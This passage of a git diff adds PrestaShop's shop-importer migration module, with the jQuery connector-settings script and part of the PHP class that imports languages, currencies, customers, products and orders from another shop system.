+$(document).ready(function(){ + $('#displayOptions').hide(); + $('#db_input input').each(function () { + $(this).keyup(function () { + $('#steps').fadeOut(200, function () { + $(this).html(''); + $('#steps').fadeIn(); + }); + $('#importOptions').fadeOut('slow'); + $('#displayOptions').show(); + $('#checkAndSaveConfig').show(); + }) + }); + + $('input[name=hasErrors]:radio').change(function () { + if ($(this).val() == 1) + $('#warnSkip').fadeIn('slow'); + else + $('#warnSkip').fadeOut('slow'); + }); + + $('#choose_module_name').unbind('click').click(function(){ + initConfigConnector(); + }); + + $('#displayOptions').unbind('click').click(function(){ + $('#displayOptions').show(); + if(type_connector == 'ws') + { + if($('#loginws').val() == '' || $('#apikey').val() == '' || $('#url').val() == '') + { + $('#connectionInformation').slideDown('slow'); + $('#connectionInformation').html('Url wsdl, User name,API key are required fields'); + $('#connectionInformation').show(); + return false; + }else{ + $('#connectionInformation').hide(); + } + token = globalAjaxShopImporterToken; + initConnexion($('#import_module_name').val(), $('#url').val(), $('#loginws').val(), $('#apikey').val(), token); + + return false; + } + else if (type_connector == 'db') + { + moduleName = $('#import_module_name').val(); + server = $('#server').val(); + user = $('#user').val(); + password = $('#password').val(); + database = $('#database').val(); + prefix = $('#prefix').val(); + token = globalAjaxShopImporterToken; + displaySpecificOptions(moduleName, server, user, password, database, prefix, token); + } + $(this).fadeOut('slow'); + $('#importOptions').slideDown('slow'); + + return false; + }); + + $('#checkAndSaveConfig').unbind('click').click(function(){ + $('#steps, #specificOptionsErrors').html(''); + $('#specificOptionsErrors').hide(); + shopImporter.specificOptions = ''; + $('#specificOptionsContent :input').each(function (){ + shopImporter.specificOptions = shopImporter.specificOptions+'&'+$(this).attr('name')+'='+$(this).attr('value'); + }); + shopImporter.imagesOptions = ''; + $('.importImages:input:checked').each(function (){ + shopImporter.imagesOptions = shopImporter.imagesOptions+'&'+$(this).attr('name'); + }); + moduleName = $('#import_module_name').val(); + if (validateSpecificOptions(moduleName, shopImporter.specificOptions) == true) + { + if(type_connector == 'ws') + { + $.scrollTo($('#steps'), 300 , { + onAfter:function(){ + shopImporter.specificOptions = ''; + $('#specificOptionsContent :input').each(function (){ + shopImporter.specificOptions = shopImporter.specificOptions+'&'+$(this).attr('name')+'='+$(this).attr('value'); + }); + shopImporter.idMethod = 0; + shopImporter.limit = 0; + shopImporter.nbr_import = parseInt($('#nbr_import').val()); + shopImporter.save = 0; + + shopImporter.moduleName = $('#import_module_name').val(); + shopImporter.url = $('#url').val(); + shopImporter.loginws = $('#loginws').val(); + shopImporter.apikey = $('#apikey').val(); + + shopImporter.token = globalAjaxShopImporterToken; + shopImporter.hasErrors = $('input[name=hasErrors]:radio:checked').val(); + + shopImporter.checkAndSaveConfigWS(shopImporter.save); + shopImporter.checkAndSaveConfigWSDL(); + return false; + } + }); + }else if (type_connector == 'db') + { + $.scrollTo($('#steps'), 300 , { + onAfter:function(){ + shopImporter.specificOptions = ''; + $('#specificOptionsContent :input').each(function (){ + shopImporter.specificOptions = shopImporter.specificOptions+'&'+$(this).attr('name')+'='+$(this).attr('value'); + }); + shopImporter.idMethod = 0; + shopImporter.limit = 0; + shopImporter.nbr_import = parseInt($('#nbr_import').val()); + shopImporter.save = 0; + shopImporter.moduleName = $('#import_module_name').val(); + shopImporter.server = $('#server').val(); + shopImporter.user = $('#user').val(); + shopImporter.password = $('#password').val(); + shopImporter.database = $('#database').val(); + shopImporter.prefix = $('#prefix').val(); + shopImporter.token = globalAjaxShopImporterToken; + shopImporter.hasErrors = $('input[name=hasErrors]:radio:checked').val(); + shopImporter.checkAndSaveConfig(shopImporter.save); + return false; + } + }); + } + } + }); + + $('#importOptionsYesNo :radio').change( function () { + $('#steps').html(''); + onThing = false; + + $('#importOptionsYesNo :radio:checked').each( function () { + if ($(this).attr('value') == 1) + onThing = true; + }); + if (onThing) + $('#checkAndSaveConfig').fadeIn(); + else + { + $('#checkAndSaveConfig').fadeOut(); + $('#steps').html('
        '+oneThing+'
        '); + $('#one_thing_error_feedback').fadeIn('slow'); + } + }); +}); diff --git a/modules/shopimporter/shopimporter.php b/modules/shopimporter/shopimporter.php new file mode 100755 index 0000000..c480ece --- /dev/null +++ b/modules/shopimporter/shopimporter.php @@ -0,0 +1,1505 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class shopimporter extends ImportModule +{ + public $supportedImports = array(); + + public function __construct() + { + $this->name = 'shopimporter'; + $this->tab = 'migration_tools'; + $this->version = '1.0'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + $this->is_configurable = 1; + + parent::__construct (); + + $this->displayName = $this->l('Shop Importer'); + $this->description = $this->l('This module allows you to import your shop from another system into Prestashop.'); + $this->supportedImports = array( + 'language' => array('methodName' => 'getLangagues', + 'name' => $this->l('Language'), + 'className' => 'Language', + 'label' => $this->l('Import Languages'), + 'table' => 'lang', + 'identifier' => 'id_lang', + 'alterTable' => array('id_lang' => 'int(10)'), + 'info' => $this->l('New languages will automatically add translations.'), + 'defaultId' => 'PS_LANG_DEFAULT' + ), + 'currency' => array('methodName' => 'getCurrencies', + 'name' => $this->l('Currency'), + 'className' => 'Currency', + 'label' => $this->l('Import Currencies'), + 'table' => 'currency', + 'identifier' => 'id_currency', + 'alterTable' => array('id_currency' => 'int(10)'), + 'delete' => true, + 'defaultId' => 'PS_CURRENCY_DEFAULT' + ), + /* + 'tax' => array('methodName' => 'getTaxes', + 'name' => $this->l('Taxes'), + 'className' => 'Tax', + 'label' => $this->l('Import Taxes'), + 'table' => 'tax', + 'identifier' => 'id_tax', + 'alterTable' => array('id_tax' => 'int(10)'), + 'delete' => true + ), + 'tax_rule' => array('methodName' => 'getTaxes rules', + 'name' => $this->l('Taxes rules'), + 'className' => 'TaxRule', + 'label' => $this->l('Import Taxes Rules'), + 'table' => 'tax_rules_group', + 'identifier' => 'id_tax', + 'alterTable' => array('id_tax_rules_group' => 'int(10)'), + 'delete' => true + ), +*/ + 'zone' => array('methodName' => 'getZones', + 'name' => $this->l('Zone'), + 'className' => 'Zone', + 'label' => $this->l('Import Zones'), + 'table' => 'zone', + 'identifier' => 'id_zone', + 'alterTable' => array('id_zone' => 'int(10)'), + 'delete' => true + ), + 'country' => array('methodName' => 'getCountries', + 'name' => $this->l('Country'), + 'className' => 'Country', + 'label' => $this->l('Import Countries'), + 'table' => 'country', + 'identifier' => 'id_country', + 'foreign_key' => array('id_zone', 'id_currency'), + 'alterTable' => array('id_country' => 'int(10)'), + 'delete' => true, + 'defaultId' => 'PS_COUNTRY_DEFAULT' + ), + 'state' => array('methodName' => 'getStates', + 'name' => $this->l('State'), + 'className' => 'State', + 'label' => $this->l('Import States'), + 'table' => 'state', + 'identifier' => 'id_state', + 'foreign_key' => array('id_zone', 'id_country'), + 'alterTable' => array('id_state' => 'int(10)'), + 'delete' => true + ), + 'group' => array('methodName' => 'getGroups', + 'name' => $this->l('Group'), + 'className' => 'Group', + 'label' => $this->l('Import Groups'), + 'table' => 'group', + 'identifier' => 'id_group', + 'alterTable' => array('id_group' => 'int(10)'), + 'delete' => true, + ), + 'customer' => array('methodName' => 'getCustomers', + 'name' => $this->l('Customer'), + 'className' => 'Customer', + 'label' => $this->l('Import Customers'), + 'table' => 'customer', + 'identifier' => 'id_customer', + 'foreign_key' => array('id_group'), + 'alterTable' => array('id_customer' => 'int(10)', 'passwd' => 'varchar(100)'), + 'delete' => true, + 'association' => array( + array( + 'table' => 'customer_group', + 'fields' => array('id_customer', 'id_group'), + 'matchTable' => array('customer', 'group'), + ) + ) + ), + 'address' => array('methodName' => 'getAddresses', + 'name' => $this->l('Address'), + 'className' => 'Address', + 'label' => $this->l('Import Addresses'), + 'table' => 'address', + 'identifier' => 'id_address', + 'foreign_key' => array('id_country', 'id_state', 'id_customer'), + 'alterTable' => array('id_address' => 'int(10)'), + 'delete' => true + ), + 'manufacturer' => array('methodName' => 'getManufacturers', + 'name' => $this->l('Manufacturer'), + 'className' => 'Manufacturer', + 'label' => $this->l('Import Manufacturers'), + 'table' => 'manufacturer', + 'identifier' => 'id_manufacturer', + 'delete' => true, + 'alterTable' => array('id_manufacturer' => 'int(10)'), + 'hasImage' => true + ), + 'supplier' => array('methodName' => 'getSuppliers', + 'name' => $this->l('Supplier'), + 'className' => 'Supplier', + 'label' => $this->l('Import Suppliers'), + 'table' => 'supplier', + 'identifier' => 'id_supplier', + 'delete' => true, + 'alterTable' => array('id_supplier' => 'int(10)'), + 'hasImage' => true + ), + 'category' => array('methodName' => 'getCategories', + 'name' => $this->l('Category'), + 'className' => 'Category', + 'label' => $this->l('Import Categories'), + 'table' => 'category', + 'identifier' => 'id_category', + 'alterTable' => array('id_category' => 'int(10)'), + 'delete' => true, + 'hasImage' => true, + ), + 'attributegroup' => array('methodName' => 'getAttributesGroups', + 'name' => $this->l('AttributeGroup'), + 'className' => 'AttributeGroup', + 'label' => $this->l('Import Attributes Groups'), + 'table' => 'attribute_group', + 'identifier' => 'id_attribute_group', + 'alterTable' => array('id_attribute_group' => 'int(10)'), + 'delete' => true + ), + 'attribute' => array('methodName' => 'getAttributes', + 'name' => $this->l('Attribute'), + 'className' => 'Attribute', + 'label' => $this->l('Import Attributes'), + 'table' => 'attribute', + 'identifier' => 'id_attribute', + 'alterTable' => array('id_attribute' => 'int(10)'), + 'foreign_key' => array('id_attribute_group'), + 'delete' => true + ), + 'product' => array('methodName' => 'getProducts', + 'name' => $this->l('Product'), + 'className' => 'Product', + 'label' => $this->l('Import Products'), + 'table' => 'product', + 'identifier' => 'id_product', + 'alterTable' => array('id_product' => 'int(10)'), + 'foreign_key' => array('id_category', 'id_manufacturer'), + 'delete' => true, + 'association' => array( + array( + 'table' => 'category_product', + 'fields' => array('id_category', 'id_product'), + 'matchTable' => array('category', 'product') + ) + ), + 'hasImage' => true + ), + 'combination' => array('methodName' => 'getProductsCombination', + 'name' => $this->l('Combination'), + 'className' => 'Combination', + 'label' => $this->l('Import Products Combinations'), + 'table' => 'product_attribute', + 'identifier' => 'id_product_attribute', + 'alterTable' => array('id_product_attribute' => 'int(10)', 'id_product' => 'int(10)'), + 'foreign_key' => array('id_product'), + 'delete' => false, + 'association' => array( + array( + 'table' => 'product_attribute_combination', + 'fields' => array('id_attribute', 'id_product_attribute'), + 'matchTable' => array('attribute', 'product_attribute') + ) + ) + ), + 'orderstate' => array('methodName' => 'getOrdersStates', + 'name' => $this->l('Orders States'), + 'className' => 'OrderState', + 'label' => $this->l('Import Orders States'), + 'table' => 'order_state', + 'identifier' => 'id_order_state', + 'alterTable' => array('id_order_state' => 'int(10)') + ), + 'cart' => array('methodName' => 'getOrders', + 'name' => $this->l('Order'), + 'className' => 'Cart', + 'label' => $this->l('Import Orders'), + 'table' => 'cart', + 'identifier' => 'id_cart', + 'foreign_key' => array('id_address_delivery', 'id_address_invoice', 'id_customer'), + 'alterTable' => array('id_cart' => 'int(10)') + ), + 'orderhistory' => array('methodName' => 'getOrdersHistory', + 'name' => $this->l('Order history'), + 'className' => 'Order history', + 'label' => $this->l('Import Order History'), + 'table' => 'order_history', + 'identifier' => 'id_order_history', + 'foreign_key' => array('id_order', 'id_order_state'), + 'alterTable' => array('id_order_history' => 'int(10)'), + 'hidden' => true + ), + 'order' => array('methodName' => 'getOrders', + 'name' => $this->l('Order'), + 'className' => 'Order', + 'label' => $this->l('Import Order History'), + 'table' => 'orders', + 'identifier' => 'id_order', + 'alterTable' => array('id_order' => 'int(10)'), + 'hidden' => true + ) + ); + } + + public function install() + { + return parent::install(); + } + + public function uninstall() + { + return parent::uninstall(); + } + + public function getContent() + { + $exportModules = parent::getImportModulesOnDisk(); + //get installed module only + foreach($exportModules as $key => $module) + if ($module->name == $this->name || !(bool)$module->id) + unset($exportModules[$key]); + $html = ' + + + + +
        '.$this->l('Import from another system').' +
        + '.$this->l('Before starting the import please backup your database. ').' + '.$this->l(' Click here to backup').' +
        +
        +
        '; + if (sizeof($exportModules)) + { + $html .= ' + +
        + +
        '; + } + else + $html .= '
        '.$this->l('No import module installed').'
        '; + $html .= ' + +
        +
        + +
        +
        + +
        '; + return $html; + } + + public function genericImport($className, $fields, $save = false) + { + $return = ''; + $json = array(); + $errors = array(); + $json['hasError'] = false; + $json['datas'] = array_values($fields); + $languages = array(); + $defaultLanguage = ''; + $table = $this->supportedImports[strtolower($className)]['table']; + + $object = new $className(); + $rules = call_user_func(array($className, 'getValidationRules'), $className); + + if ((sizeof($rules['requiredLang']) || sizeof($rules['sizeLang']) || sizeof($rules['validateLang']) || Tools::isSubmit('syncLang') || Tools::isSubmit('syncCurrency'))) + { + $moduleName = Tools::getValue('moduleName'); + if (Validate::isModuleName($moduleName) && Validate::file_exists('../../modules/'.$moduleName.'/'.$moduleName.'.php')) + { + require_once('../../modules/'.$moduleName.'/'.$moduleName.'.php'); + $importModule = new $moduleName(); + $importModule->server = Tools::getValue('server'); + $importModule->user = Tools::getValue('user'); + $importModule->passwd = Tools::getValue('password'); + $importModule->database = Tools::getValue('database'); + $importModule->prefix = Tools::getValue('prefix'); + $defaultLanguage = new Language((int)Configuration::get('PS_LANG_DEFAULT')); + $languages = $importModule->getLangagues(0); + if (Tools::isSubmit('syncLang') || Tools::isSubmit('syncLangWS')) + { + $defaultIdLand = $importModule->getDefaultIdLang(); + $defaultLanguageImport = new Language(Language::getIdByIso($languages[$defaultIdLand]['iso_code'])); + if ($defaultLanguage->iso_code != $defaultLanguageImport->iso_code) + $errors[] = $this->l('Default language doesn\'t match : ').'
        '.Configuration::get('PS_SHOP_NAME').' : '.$defaultLanguage->name.' ≠ + '.$importModule->displayName.' : '.$defaultLanguageImport->name.'
        '.$this->l('Please change default language in your configuration'); + } + + if (Tools::isSubmit('syncCurrency') || Tools::isSubmit('syncCurrencyWS')) + { + $defaultIdCurrency = $importModule->getDefaultIdCurrency(); + $currencies = $importModule->getCurrencies(0); + if(!empty($currencies[$defaultIdCurrency]['iso_code'])) + $defaultCurrencyImport = new Currency((int)Currency::getIdByIsoCode($currencies[$defaultIdCurrency]['iso_code'])); + else + $defaultCurrencyImport = new Currency((int)Currency::getIdByIsoCodeNum($currencies[$defaultIdCurrency]['iso_code_num'])); + + $defaultCurrency = new Currency((int)Configuration::get('PS_CURRENCY_DEFAULT')); + if ($defaultCurrency->iso_code != $defaultCurrencyImport->iso_code) + $errors[] = $this->l('Default currency doesn\'t match : ').'
        '.Configuration::get('PS_SHOP_NAME').' : '.$defaultCurrency->name.' ≠ '.$importModule->displayName.' : '.$defaultCurrencyImport->name.'
        '.$this->l('Please change default currency in your configuration'); + } + if (!empty($errors)) + die('{"hasError" : true, "error" : '.Tools::jsonEncode($errors).'}'); + } + else + die('{"hasError" : true, "error" : ["FATAL ERROR"], "datas" : []}'); + } + + foreach($fields as $key => $field) + { + $id = $this->supportedImports[strtolower($className)]['identifier']; + //remove wrong fields (ex : id_toto in Customer) + foreach($field as $name => $value) + if (!array_key_exists($name, get_object_vars($object)) AND ($name != $id) AND ($name != 'association') AND ($name != 'images') AND (strtolower($className) != 'cart')) + unset($field[$name]); + $return = $this->validateRules($rules, $field, $className, $languages, $defaultLanguage); + $fields[$key] = $field; + if (!empty($return)) + { + //skip mode + if (Tools::getValue('hasErrors') == 1) + unset($fields[$key]); + + $errors[] = $return; + array_unshift($errors[sizeof($errors)-1], $field[$id]); + } + } + if (sizeof($errors) > 0) + { + $json['hasError'] = true; + $json['error'] = $errors; + } + + if ($save || Tools::isSubmit('syncLang') || Tools::isSubmit('syncLangWS')) + { + //add language if not exist in prestashop + if ($className == 'Language') + { + if (Tools::isSubmit('syncLang') || Tools::isSubmit('syncLangWS')) + $add = true; + else + $add = false; + $errors = $this->checkAndAddLang($fields, $add); + } + elseif ($className == 'Cart') + { + $this->saveOrders($fields); + } + else + { + $return = $this->saveObject($className, $fields); + $this->cleanPositions($table); + //insert association + if (array_key_exists('association', $this->supportedImports[strtolower($className)])) + $this->insertAssociation(strtolower($className), $fields); + if (!empty($return)) + { + $json['hasError'] = true; + $json['error'] = $return; + } + } + if ($className == 'Category' AND (sizeof($fields) != (int)Tools::getValue('nbr_import'))) + $this->updateCat(); + } + if (sizeof($errors) > 0 AND is_array($errors)) + { + $json['hasError'] = true; + $json['error'] = $errors; + } + die(Tools::jsonEncode($json)); + } + public function genericImportWS($className, $fields, $save = false) + { + + $return = ''; + $json = array(); + $errors = array(); + $json['hasError'] = false; + $json['datas'] = array_values($fields); + $languages = array(); + $defaultLanguage = ''; + $table = $this->supportedImports[strtolower($className)]['table']; + + $object = new $className(); + + $rules = call_user_func(array($className, 'getValidationRules'), $className); + + + if ((sizeof($rules['requiredLang']) || sizeof($rules['sizeLang']) || sizeof($rules['validateLang']) || Tools::isSubmit('syncLangWS') || Tools::isSubmit('syncCurrency'))) + { + $moduleName = Tools::getValue('moduleName'); + if (Validate::isModuleName($moduleName) && file_exists('../../modules/'.$moduleName.'/'.$moduleName.'.php')) + { + + require_once('../../modules/'.$moduleName.'/'.$moduleName.'.php'); + $importModule = new $moduleName(); + + $defaultLanguage = new Language((int)Configuration::get('PS_LANG_DEFAULT')); + + $languages = $importModule->getLangagues(); + + if (Tools::isSubmit('syncLangWS')) + { + $defaultIdLand = $importModule->getDefaultIdLang(); + $defaultLanguageImport = new Language(Language::getIdByIso($languages[$defaultIdLand]['iso_code'])); + if ($defaultLanguage->iso_code != $defaultLanguageImport->iso_code) + $errors[] = $this->l('Default language doesn\'t match : ').'
        '.Configuration::get('PS_SHOP_NAME').' : '.$defaultLanguage->name.' ≠ + '.$importModule->displayName.' : '.$defaultLanguageImport->name.'
        '.$this->l('Please change default language in your configuration'); + } + + if (Tools::isSubmit('syncCurrency')) + { + $defaultIdCurrency = $importModule->getDefaultIdCurrency(); + $currencies = $importModule->getCurrencies(); + if (!empty($currencies[$defaultIdCurrency]['iso_code'])) + $defaultCurrencyImport = new Currency((int)Currency::getIdByIsoCode($currencies[$defaultIdCurrency]['iso_code'])); + else + $defaultCurrencyImport = new Currency((int)Currency::getIdByIsoCodeNum($currencies[$defaultIdCurrency]['iso_code_num'])); + + $defaultCurrency = new Currency((int)Configuration::get('PS_CURRENCY_DEFAULT')); + if ($defaultCurrency->iso_code != $defaultCurrencyImport->iso_code) + $errors[] = $this->l('Default currency doesn\'t match : ').'
        '.Configuration::get('PS_SHOP_NAME').' : '.$defaultCurrency->name.' ≠ '.$importModule->displayName.' : '.$defaultCurrencyImport->name.'
        '.$this->l('Please change default currency in your configuration'); + } + if (!empty($errors)) + die('{"hasError" : true, "error" : '.Tools::jsonEncode($errors).'}'); + } + else + die('{"hasError" : true, "error" : ["FATAL ERROR"], "datas" : []}'); + } + + foreach($fields as $key => $field) + { + $id = $this->supportedImports[strtolower($className)]['identifier']; + //remove wrong fields (ex : id_toto in Customer) + foreach($field as $name => $value) + if (!array_key_exists($name, get_object_vars($object)) AND ($name != $id) AND ($name != 'association') AND ($name != 'images') AND (strtolower($className) != 'cart')) + unset($field[$name]); + $return = $this->validateRules($rules, $field, $className, $languages, $defaultLanguage); + $fields[$key] = $field; + if (!empty($return)) + { + //skip mode + if (Tools::getValue('hasErrors') == 1) + unset($fields[$key]); + + $errors[] = $return; + array_unshift($errors[sizeof($errors)-1], $field[$id]); + } + } + if (sizeof($errors) > 0) + { + $json['hasError'] = true; + $json['error'] = $errors; + } + if ($save || Tools::isSubmit('syncLang') || Tools::isSubmit('syncLangWS')) + { + //add language if not exist in prestashop + if ($className == 'Language') + { + if (Tools::isSubmit('syncLang') || Tools::isSubmit('syncLangWS')) + $add = true; + else + $add = false; + $errors = $this->checkAndAddLang($fields, $add); + } + elseif ($className == 'Cart') + { + $this->saveOrders($fields); + } + else + { + $return = $this->saveObject($className, $fields); + $this->cleanPositions($table); + //insert association + if (array_key_exists('association', $this->supportedImports[strtolower($className)])) + $this->insertAssociation(strtolower($className), $fields); + if (!empty($return)) + { + $json['hasError'] = true; + $json['error'] = $return; + } + } + if ($className == 'Category' AND (sizeof($fields) != (int)Tools::getValue('nbr_import'))) + $this->updateCat(); + } + if (sizeof($errors) > 0 AND is_array($errors)) + { + $json['hasError'] = true; + $json['error'] = $errors; + } + die(Tools::jsonEncode($json)); + } + + private function saveObject($className, $items) + { + $return = array(); + $table = $this->supportedImports[strtolower($className)]['table']; + //creating temporary fields for identifiers matching and password + if (array_key_exists('alterTable', $this->supportedImports[strtolower($className)])) + $this->alterTable(strtolower($className)); + $matchIdLang = $this->getMatchIdLang(1); + foreach($items as $item) + { + $object = new $className; + $id = $item[$this->supportedImports[strtolower($className)]['identifier']]; + if (array_key_exists('foreign_key', $this->supportedImports[strtolower($className)])) + $this->replaceForeignKey($item, $table); + + foreach($item as $key => $val) + { + if ($key == 'passwd') + { + $password = $val; + $val = '------'; + } + if (is_array($val) AND $key != 'images') + { + $tmp = array(); + foreach($matchIdLang as $k => $v) + { + if (array_key_exists($k, $val)) + { + $tmp[$v] = $val[$k]; + } + } + + $object->$key = $tmp; + } + else + $object->$key = $val; + } + if (!$object->save(false, false)) + $return[] = array($item[$this->supportedImports[strtolower($className)]['identifier']], $this->l('An error occurred when adding the object')); + else + { + $this->saveMatchId(strtolower($className), (int)$object->id, (int)$id); + if ($className == 'Customer') + Db::getInstance()->execute('UPDATE '._DB_PREFIX_.'customer SET `passwd_'.bqSQL(Tools::getValue('moduleName')).'` = \''.pSQL($password).'\' WHERE id_customer = '.(int)$object->id); + if (array_key_exists('hasImage', $this->supportedImports[strtolower($className)]) AND Tools::isSubmit('images_'.$className)) + $this->copyImg($item, $className); + } + } + return $return; + } + + private function saveOrders($items) + { + $this->saveObject('cart', $items); + //import cart product + $foreignKey = $this->getForeignKey('Cart', array('id_cart', 'id_product', 'id_product_attribute', 'id_customer','id_address_invoice', 'id_address_delivery')); + foreach($items as &$item) + { + foreach($item['cart_products'] as $k => $cart_products) + { + foreach($cart_products as $key => $val) + if (array_key_exists($key, $foreignKey)) + if (array_key_exists($val, $foreignKey[$key])) + $item['cart_products'][$k][$key] = $foreignKey[$key][$val]; + else + $item['cart_products'][$k][$key] = 0; + Db::getInstance()->insert('cart_product', $item['cart_products'][$k]); + } + foreach($item['order_products'] as $k => $order_products) + { + foreach($order_products as $key => $val) + if (array_key_exists($key, $foreignKey) || $key == 'product_id') + //patch to correct a mistake naming column in the database + if ($key == 'product_id') + $item['order_products'][$k]['product_id'] = $foreignKey['id_product'][$val]; + elseif (array_key_exists($val, $foreignKey[$key])) + $item['order_products'][$k][$key] = $foreignKey[$key][$val]; + else + $item['order_products'][$k][$key] = 0; + } + } + //cart to order + $this->cartToOrder($items, $foreignKey); + $foreignKey = array_merge($this->getForeignKey('Cart', array('id_order', 'id_order_state')), $foreignKey); + foreach($items as &$item) + { + //insert product in order detail + foreach($item['order_products'] as $k => $order_products) + { + foreach($order_products as $key => $val) + if (array_key_exists($key, $foreignKey)) + if (array_key_exists($val, $foreignKey[$key])) + $item['order_products'][$k][$key] = $foreignKey[$key][$val]; + else + $item['order_products'][$k][$key] = 0; + Db::getInstance()->insert('order_detail', $item['order_products'][$k]); + } + //save order history + foreach($item['order_history'] as $k => $order_history) + { + foreach($order_history as $key => $val) + if (array_key_exists($key, $foreignKey)) + if (array_key_exists($val, $foreignKey[$key])) + $item['order_history'][$k][$key] = $foreignKey[$key][$val]; + else + $item['order_history'][$k][$key] = 0; + + Db::getInstance()->insert('order_history', $item['order_history'][$k]); + } + } + } + + private function insertAssociation($table, $items) + { + foreach($this->supportedImports[$table]['association'] AS $association) + { + $associatFields = ''; + $associatFieldsName = implode('`, `', $association['fields']); + $tableAssociation = $association['table']; + $matchTable = $association['matchTable']; + if (!empty($items)) + { + $match = array(); + foreach($matchTable as $mTable) + { + $tmp = $this->getForeignKey($mTable, array('id_'.$mTable)); + if (array_key_exists('id_'.$mTable, $tmp)) + $match['id_'.$mTable] = $tmp['id_'.$mTable]; + else + $match['id_'.$mTable] = $this->getDefaultId($table); + } + foreach($items AS $item) + foreach($item AS $key => $val) + if ($key == 'association' AND !empty($key)) + foreach($val[$tableAssociation] AS $k => $v) + { + $associatFields .= ' ('.((array_key_exists($k, $match[$association['fields'][0]])) ? (int)$match[$association['fields'][0]][$k] : '1').', '; + $associatFields .= (int)$match[$association['fields'][1]][$v].'), '; + } + if ($associatFields != '') + Db::getInstance()->execute('INSERT INTO `'._DB_PREFIX_.bqSQL($tableAssociation).'` (`'.$associatFieldsName.'`) VALUES '.rtrim($associatFields, ', ')); + } + } + } + + private function saveMatchId($className, $psId, $matchId) + { + $table = $this->supportedImports[$className]['table']; + $moduleName = Tools::getValue('moduleName'); + $identifier = $this->supportedImports[$className]['identifier']; + Db::getInstance()->execute('UPDATE `'._DB_PREFIX_.bqSQL($table).'` SET `'.bqSQL($identifier).'_'.bqSQL($moduleName).'` = '.(int)$matchId.' WHERE `'.bqSQL($identifier).'` = '.(int)$psId); + } + + private function getMatchId($className) + { + $table = $this->supportedImports[$className]['table']; + $moduleName = Tools::getValue('moduleName'); + $identifier = $this->supportedImports[$className]['identifier']; + $returns = Db::getInstance()->executeS('SELECT `'.bqSQL($identifier).'_'.bqSQL($moduleName).'`, `'.bqSQL($identifier).'` FROM `'._DB_PREFIX_.bqSQL($table).'` WHERE `'.bqSQL($identifier).'_'.bqSQL($moduleName).'` != 0 '); + $match = array(); + foreach($returns as $return) + $match[$return[$identifier.'_'.$moduleName]] = $return[$identifier]; + return $match; + } + + private function getDefaultId($table) + { + $defaultId = 1; + if (array_key_exists('defaultId', $this->supportedImports[strtolower($table)])) + $defaultId = Configuration::get($this->supportedImports[strtolower($table)]['defaultId']); + return $defaultId; + } + + private function copyImg($item, $className) + { + require_once('../../images.inc.php'); + $identifier = $this->supportedImports[strtolower($className)]['identifier']; + $matchId = $this->getMatchId(strtolower($className)); + $matchIdLang = $this->getMatchIdLang(); + switch($className) + { + default: + case 'Product': + $path = _PS_PROD_IMG_DIR_; + $type = 'products'; + break; + case 'Category': + $path = _PS_CAT_IMG_DIR_; + $type = 'categories'; + break; + case 'Manufacturer': + $path = _PS_MANU_IMG_DIR_; + $type = 'manufacturers'; + break; + case 'Supplier': + $path = _PS_SUPP_IMG_DIR_; + $type = 'suppliers'; + break; + } + $cover = 1; + if (array_key_exists($item[$identifier], $matchId)) + if(array_key_exists('images', $item) && !is_null($item['images'])) + foreach($item['images'] as $key => $image) + { + $tmpfile = tempnam(_PS_TMP_IMG_DIR_, 'import'); + if (@copy(str_replace(' ', '%20', $image), $tmpfile)) + { + + $imagesTypes = ImageType::getImagesTypes($type); + ImageManager::resize($tmpfile, $path.(int)$matchId[$item[$identifier]].'.jpg'); + if ($className == 'Product') + { + $image = new Image(); + $image->id_product = (int)($matchId[$item[$identifier]]); + $image->cover = $cover; + $image->position = Image::getHighestPosition((int)$matchId[$item[$identifier]]) + 1; + $legend = array(); + foreach($item['name'] as $key => $val) + if (array_key_exists($key, $matchIdLang)) + $legend[$matchIdLang[$key]] = Tools::link_rewrite($val); + else + $legend[Configuration::get('PS_LANG_DEFAULT')] = Tools::link_rewrite($val); + $image->legend = $legend; + $image->add(); + ImageManager::resize($tmpfile, $path.(int)$matchId[$item[$identifier]].'-'.(int)$image->id.'.jpg'); + foreach ($imagesTypes AS $k => $imageType) + ImageManager::resize($tmpfile, $path.(int)$matchId[$item[$identifier]].'-'.(int)$image->id.'-'.stripslashes($imageType['name']).'.jpg', $imageType['width'], $imageType['height']); + } + else + foreach ($imagesTypes as $imageType) + ImageManager::resize($tmpfile, $path.(int)$matchId[$item[$identifier]].'-'.stripslashes($imageType['name']).'.jpg', $imageType['width'], $imageType['height']); + } + else + @unlink($tmpfile); + @unlink($tmpfile); + $cover = 0; + } + + } + + private function replaceForeignKey(&$item, $table) + { + if ($table == 'product_attribute') + $table2 = 'combination'; + else + $table2 = $table; + + $foreingKey = $this->supportedImports[$table2]['foreign_key']; + $foreingKeyValue = $this->getForeignKey($table, $foreingKey); + foreach($foreingKey as $key) + { + if ($table == 'product' AND $key == 'id_category') + $key2 = 'id_category_default'; + else if ($table == 'customer' AND $key == 'id_group') + $key2 = 'id_default_group'; + else + $key2 = $key; + if (array_key_exists($key, $foreingKeyValue) && $item[$key2] != 0) + $item[$key2] = (array_key_exists($item[$key2], $foreingKeyValue[$key]) ? $item[$key2] = $foreingKeyValue[$key][$item[$key2]] : $item[$key2] = 0); + else + $item[$key2] = $this->getDefaultId($table); + } + } + + private function alterTable($className) + { + $query =''; + $queryTmp = ''; + $from = $this->supportedImports[$className]['table']; + $result = array(); + $result = Db::getInstance()->getRow('SELECT * FROM `'._DB_PREFIX_.bqSQL($from).'`'); + if (!$result) + $result = array(); + foreach ($this->supportedImports[$className]['alterTable'] AS $name => $type) + { + $moduleName = Tools::getValue('moduleName'); + Db::getInstance()->executeS("SHOW COLUMNS FROM `"._DB_PREFIX_.bqSQL($from)."` LIKE '".pSQL($name).'_'.pSQL($moduleName)."'"); + if (!Db::getInstance()->numRows() AND !array_key_exists($name.'_'.$moduleName, $result)) + $queryTmp .= ' ADD `'.$name.'_'.$moduleName.'` '.$type.' NOT NULL,'; + } + if (!empty($queryTmp)) + { + $query = 'ALTER TABLE `'._DB_PREFIX_.bqSQL($from).'` '; + $query .= rtrim($queryTmp, ','); + Db::getInstance()->execute($query); + } + } + + private function updateCat() + { + $moduleName = Tools::getValue('moduleName'); + Db::getInstance()->execute('UPDATE + '._DB_PREFIX_.'category c + INNER JOIN + '._DB_PREFIX_.'category c2 + ON + c.id_parent = c2.`id_category_'.bqSQL($moduleName).'` + SET + c.id_parent = c2.id_category + WHERE c.`id_category_'.bqSQL($moduleName).'` 